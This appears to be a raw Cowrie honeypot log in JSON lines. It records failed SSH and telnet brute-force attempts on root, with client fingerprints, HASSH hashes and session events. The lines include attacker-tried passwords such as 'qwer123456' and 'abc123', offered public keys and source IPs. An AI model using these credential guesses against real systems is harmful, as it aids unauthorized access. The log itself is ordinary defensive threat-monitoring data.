{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"82:7e:f3:a0:65:fe:0f:ad:5a:72:b6:b0:6d:10:91:de","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAtJUuvYJfU4794QNJZaQc3fx6MF3xIaIQ70KgnyeLB0RW4bfgdS8wYizL+RCKGfkQnyVwqPVZMMCcZuEihkb7Hel+PXac7uMDibkw9S5ZtTdnnaQhuMGvPVGq0dG55X0xxg8+aCr4qqCHoR08jtYJyENh90eYpEgLPpEspJOkhC6yWV1eLw4zC/a5ypz1j/4i6p8arT76UbXka1Y48oJU1gTK0xpJy7LiQ5sjm28QDvGoWeMJDjMwKk0ZhUH+H5OLzmlYsoO6wOhWKPXSJ2VyyNLrONmqF7V00DZO3WihPMIiZtSo8CYNfWEu6vHOHvK49lL1kUAzNrR1+EYLsX+E7w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 82:7e:f3:a0:65:fe:0f:ad:5a:72:b6:b0:6d:10:91:de","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:07:07.470726Z","src_ip":"184.154.157.176","session":"9e55ddd31f6f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"82:7e:f3:a0:65:fe:0f:ad:5a:72:b6:b0:6d:10:91:de","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAtJUuvYJfU4794QNJZaQc3fx6MF3xIaIQ70KgnyeLB0RW4bfgdS8wYizL+RCKGfkQnyVwqPVZMMCcZuEihkb7Hel+PXac7uMDibkw9S5ZtTdnnaQhuMGvPVGq0dG55X0xxg8+aCr4qqCHoR08jtYJyENh90eYpEgLPpEspJOkhC6yWV1eLw4zC/a5ypz1j/4i6p8arT76UbXka1Y48oJU1gTK0xpJy7LiQ5sjm28QDvGoWeMJDjMwKk0ZhUH+H5OLzmlYsoO6wOhWKPXSJ2VyyNLrONmqF7V00DZO3WihPMIiZtSo8CYNfWEu6vHOHvK49lL1kUAzNrR1+EYLsX+E7w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:07:07.474501Z","src_ip":"184.154.157.176","session":"9e55ddd31f6f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e7:0d:65:46:9a:d1:a9:28:41:15:b5:33:73:ad:40:af","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDJx6cPa8mbtNXNy60qvMa70jFOPUtIPXo1aNxyYirInWILR5rfVpcZ9kVlgEKLD02LE/mQ8xxEULYxUGcVIus/M78/twLAS4hIL4k2gHulttWMPgXx5V9CnR8NA1yjI9aj05SRhjOYXU/tXOIoAMPZTkcwzcY7RIWr0ysuu85hSdp6Cy2/1/fVDg71h9UzpBQjBx2ksdnary32ohA56rgsQbV7xfjNp9+8owQrlJVtBvr7mxyijOrA1YqHe4UQkhn6/arSzZjdpDSkgKMWQBvdHXNkPmvatUiAHFesr5q6dC1t5+alS6TrYnj3nuZU3moC5kCe5hUE7+jyT/NDj8sdUcvsh0sZWWKAVGPmDxYPNT/GmK9UMkYU5nBNZlbTbZ2uKcsMMOx/eWTzAcdAgahIzT6Tqmq3hqznDQImJ3yxOwUFRy+N9F7ETzR6T8KI5I19hND9Z3PSsqiAtVw3legHFk5g9HLS1xxQrGdXFHY5ix0kc8BO2V4jx887ZByerOJzcmtFj8HRRyn5xr6zR0qkebaTNasvUTAaYPaBCbHb4T/VRXrcmuv+zrfHZ6J05W2dJul+2vJiFO9YXbPKYJZ0vtY/msDqss3abrSXn+qEroI+jPxBu4dQB+NEXxl/84uKte3AEQQijbrD+AVqXzXioNJizCmA303Ny+LpX91hFQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e7:0d:65:46:9a:d1:a9:28:41:15:b5:33:73:ad:40:af","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:07:07.502000Z","src_ip":"184.154.157.176","session":"9e55ddd31f6f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e7:0d:65:46:9a:d1:a9:28:41:15:b5:33:73:ad:40:af","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDJx6cPa8mbtNXNy60qvMa70jFOPUtIPXo1aNxyYirInWILR5rfVpcZ9kVlgEKLD02LE/mQ8xxEULYxUGcVIus/M78/twLAS4hIL4k2gHulttWMPgXx5V9CnR8NA1yjI9aj05SRhjOYXU/tXOIoAMPZTkcwzcY7RIWr0ysuu85hSdp6Cy2/1/fVDg71h9UzpBQjBx2ksdnary32ohA56rgsQbV7xfjNp9+8owQrlJVtBvr7mxyijOrA1YqHe4UQkhn6/arSzZjdpDSkgKMWQBvdHXNkPmvatUiAHFesr5q6dC1t5+alS6TrYnj3nuZU3moC5kCe5hUE7+jyT/NDj8sdUcvsh0sZWWKAVGPmDxYPNT/GmK9UMkYU5nBNZlbTbZ2uKcsMMOx/eWTzAcdAgahIzT6Tqmq3hqznDQImJ3yxOwUFRy+N9F7ETzR6T8KI5I19hND9Z3PSsqiAtVw3legHFk5g9HLS1xxQrGdXFHY5ix0kc8BO2V4jx887ZByerOJzcmtFj8HRRyn5xr6zR0qkebaTNasvUTAaYPaBCbHb4T/VRXrcmuv+zrfHZ6J05W2dJul+2vJiFO9YXbPKYJZ0vtY/msDqss3abrSXn+qEroI+jPxBu4dQB+NEXxl/84uKte3AEQQijbrD+AVqXzXioNJizCmA303Ny+LpX91hFQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:07:07.507282Z","src_ip":"184.154.157.176","session":"9e55ddd31f6f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"66:04:7f:ed:fc:9b:87:5f:6f:0b:c2:71:62:a0:12:83","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3ApK2AnH+PUmjtLb+W4s4CuSB2ybLFvhMojDENgdDDg9jvvYE2VJcFzac4q57MQlK2CXneVZ3Guv0xhhhCh6O+NZ6aV8UWsd2moqznwRwc6VdLKATZQuD9NkB5sIrlzwAf5yBXcLYGPAgZqRRt8VKH1nxiEdOGw1P75yEGAoMpdXAmzaOYAtQjKffhVc0ZkPskevVRa83gBOfBmuQZDH4ai08Rzs/+GGHBvyyGLUuIpVtNUP+LeLe4LaKe8UG5u+y+YVvBjoPaZw0aAFmrE5NZo4VakU/dSaW/osfQ9YCjmjaOOpCx7XrGckvoY+qnIYxFLHAGy3jp63/iFRiDcjH","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 66:04:7f:ed:fc:9b:87:5f:6f:0b:c2:71:62:a0:12:83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:07:07.535295Z","src_ip":"184.154.157.176","session":"9e55ddd31f6f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"66:04:7f:ed:fc:9b:87:5f:6f:0b:c2:71:62:a0:12:83","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3ApK2AnH+PUmjtLb+W4s4CuSB2ybLFvhMojDENgdDDg9jvvYE2VJcFzac4q57MQlK2CXneVZ3Guv0xhhhCh6O+NZ6aV8UWsd2moqznwRwc6VdLKATZQuD9NkB5sIrlzwAf5yBXcLYGPAgZqRRt8VKH1nxiEdOGw1P75yEGAoMpdXAmzaOYAtQjKffhVc0ZkPskevVRa83gBOfBmuQZDH4ai08Rzs/+GGHBvyyGLUuIpVtNUP+LeLe4LaKe8UG5u+y+YVvBjoPaZw0aAFmrE5NZo4VakU/dSaW/osfQ9YCjmjaOOpCx7XrGckvoY+qnIYxFLHAGy3jp63/iFRiDcjH","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:07:07.539355Z","src_ip":"184.154.157.176","session":"9e55ddd31f6f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d7:49:dc:a9:cd:89:48:61:ba:d4:cc:d0:14:0f:eb:06","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCi+Q+6OJosy+bO0c/4Zt4XaZkQZPg6Oig9FkNRT+uNj2i/vHwmJFY8J84F5bgWgPDTLYzVxoQKKi/c0Q8/BYRh6TnD6q88L0fw4kGg/jVb9W6FTGrmgTg9yHKCt2HMkMWPmzWvZJr9fO6F5RUf/IFn4xff+hPTVtwMfGb/syOU+F035V0HU7YerrIGyzaIW1Roj7By/P3+54dRqT7rMne4Qg89FEibbOPtNVh1y5OEDXTmNKbptxu5KguOKmPDPc1n28WphoRII3SoRku51hBTR+X3R1l9u1af5IG856phlrZGZ+OkXOunpPhmzokXKYMA/j2jUXSRpO4h6ary6Vuf","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d7:49:dc:a9:cd:89:48:61:ba:d4:cc:d0:14:0f:eb:06","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:07:07.566718Z","src_ip":"184.154.157.176","session":"9e55ddd31f6f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d7:49:dc:a9:cd:89:48:61:ba:d4:cc:d0:14:0f:eb:06","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCi+Q+6OJosy+bO0c/4Zt4XaZkQZPg6Oig9FkNRT+uNj2i/vHwmJFY8J84F5bgWgPDTLYzVxoQKKi/c0Q8/BYRh6TnD6q88L0fw4kGg/jVb9W6FTGrmgTg9yHKCt2HMkMWPmzWvZJr9fO6F5RUf/IFn4xff+hPTVtwMfGb/syOU+F035V0HU7YerrIGyzaIW1Roj7By/P3+54dRqT7rMne4Qg89FEibbOPtNVh1y5OEDXTmNKbptxu5KguOKmPDPc1n28WphoRII3SoRku51hBTR+X3R1l9u1af5IG856phlrZGZ+OkXOunpPhmzokXKYMA/j2jUXSRpO4h6ary6Vuf","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:07:07.571260Z","src_ip":"184.154.157.176","session":"9e55ddd31f6f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"speed666","message":"login attempt [root/speed666] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:07:07.579927Z","src_ip":"77.105.130.18","session":"a2b6e6515a7e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2c:58:1f:8c:80:5c:57:22:8d:40:d9:04:66:a7:7d:64","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCcEa4rup8fEtKL/x394Fd7iSRes2CKQ8kh0zFPoRm4nQrzSu9pCxfeJ/DsgC1nJBGLg4UG1eNhuDJ8c4UEXcUPIt+ZdUFAj6tEwZs8XaemZDt+JEbGmz2Zz7utD74hruEPE1Vqdf2gMv70k+DfFaptJ/o0/m+6bXExJC87RwF14w4nmt9YzaAg93yqXqkvuEqXWLrNVPvhe26T6U7Dx5afbCLvFSagR3Z2RU+wkfFtftq57JiG8B7olCW3Oq18VKm8BQHjnOV9UuWdia4BJqz7tdiAc9F2CSixAgostGK5IWzwGRLYUsvxinhRlZWhmVFhtjfPWwmwaEJe6IDp3uA0R9iAZfcrI/SjaifqSsSnI+C8bGzgBAoutouP/j1R/5JeB6wg0/cBjn9QMfPbBfRES0+Hdq5opW+9ZPL1/56ZenKgokZB49YfDfk1Jb7h2yKznRa39uP40NIkEJK4t2jhXKKv2TFjCZRyw1QjzGfH4QOZ2ufhm+YD+oyDiaM7I/c=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2c:58:1f:8c:80:5c:57:22:8d:40:d9:04:66:a7:7d:64","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:07:07.597925Z","src_ip":"184.154.157.176","session":"9e55ddd31f6f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2c:58:1f:8c:80:5c:57:22:8d:40:d9:04:66:a7:7d:64","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCcEa4rup8fEtKL/x394Fd7iSRes2CKQ8kh0zFPoRm4nQrzSu9pCxfeJ/DsgC1nJBGLg4UG1eNhuDJ8c4UEXcUPIt+ZdUFAj6tEwZs8XaemZDt+JEbGmz2Zz7utD74hruEPE1Vqdf2gMv70k+DfFaptJ/o0/m+6bXExJC87RwF14w4nmt9YzaAg93yqXqkvuEqXWLrNVPvhe26T6U7Dx5afbCLvFSagR3Z2RU+wkfFtftq57JiG8B7olCW3Oq18VKm8BQHjnOV9UuWdia4BJqz7tdiAc9F2CSixAgostGK5IWzwGRLYUsvxinhRlZWhmVFhtjfPWwmwaEJe6IDp3uA0R9iAZfcrI/SjaifqSsSnI+C8bGzgBAoutouP/j1R/5JeB6wg0/cBjn9QMfPbBfRES0+Hdq5opW+9ZPL1/56ZenKgokZB49YfDfk1Jb7h2yKznRa39uP40NIkEJK4t2jhXKKv2TFjCZRyw1QjzGfH4QOZ2ufhm+YD+oyDiaM7I/c=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:07:07.602142Z","src_ip":"184.154.157.176","session":"9e55ddd31f6f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:07:07.634386Z","src_ip":"184.154.157.176","session":"9e55ddd31f6f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:07:08.683238Z","src_ip":"77.105.130.18","session":"a2b6e6515a7e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54494,"dst_ip":"10.17.0.5","dst_port":23,"session":"5dbf33fd9b60","protocol":"telnet","message":"New connection: 192.119.13.58:54494 (10.17.0.5:23) [session: 5dbf33fd9b60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:07:13.308980Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":46204,"dst_ip":"159.203.135.109","dst_port":22,"session":"a39a37845143","protocol":"ssh","message":"New connection: 109.172.54.111:46204 (159.203.135.109:22) [session: a39a37845143]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:07:15.554418Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:07:15.560712Z","src_ip":"109.172.54.111","session":"a39a37845143","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:07:15.656104Z","src_ip":"109.172.54.111","session":"a39a37845143","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"4444","message":"login attempt [root/4444] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:07:15.955081Z","src_ip":"109.172.54.111","session":"a39a37845143","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:07:17.057957Z","src_ip":"109.172.54.111","session":"a39a37845143","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.207.4.157","src_port":41786,"dst_ip":"159.203.135.109","dst_port":22,"session":"487c3a6d156b","protocol":"ssh","message":"New connection: 92.207.4.157:41786 (159.203.135.109:22) [session: 487c3a6d156b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:07:18.364436Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:07:18.370159Z","src_ip":"92.207.4.157","session":"487c3a6d156b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:07:18.556998Z","src_ip":"92.207.4.157","session":"487c3a6d156b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwer123456","message":"login attempt [root/qwer123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:07:19.083627Z","src_ip":"92.207.4.157","session":"487c3a6d156b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":58166,"dst_ip":"10.17.0.5","dst_port":22,"session":"b43a77535673","protocol":"ssh","message":"New connection: 194.113.233.25:58166 (10.17.0.5:22) [session: b43a77535673]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:07:19.193141Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:07:19.199649Z","src_ip":"194.113.233.25","session":"b43a77535673","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:07:19.292490Z","src_ip":"194.113.233.25","session":"b43a77535673","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"7895123","message":"login attempt [root/7895123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:07:19.566830Z","src_ip":"194.113.233.25","session":"b43a77535673","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:07:20.198304Z","src_ip":"92.207.4.157","session":"487c3a6d156b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.24.63.85","src_port":52077,"dst_ip":"159.203.135.109","dst_port":22,"session":"693e482170a6","protocol":"ssh","message":"New connection: 103.24.63.85:52077 (159.203.135.109:22) [session: 693e482170a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:07:20.403688Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:07:20.408549Z","src_ip":"103.24.63.85","session":"693e482170a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:07:20.613504Z","src_ip":"103.24.63.85","session":"693e482170a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:07:20.659986Z","src_ip":"194.113.233.25","session":"b43a77535673","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc123","message":"login attempt [root/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:07:21.454415Z","src_ip":"103.24.63.85","session":"693e482170a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.176.251","src_port":35772,"dst_ip":"159.203.135.109","dst_port":22,"session":"e44427067971","protocol":"ssh","message":"New connection: 43.135.176.251:35772 (159.203.135.109:22) [session: e44427067971]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:07:21.627173Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:07:21.632456Z","src_ip":"43.135.176.251","session":"e44427067971","protocol":"ssh"}
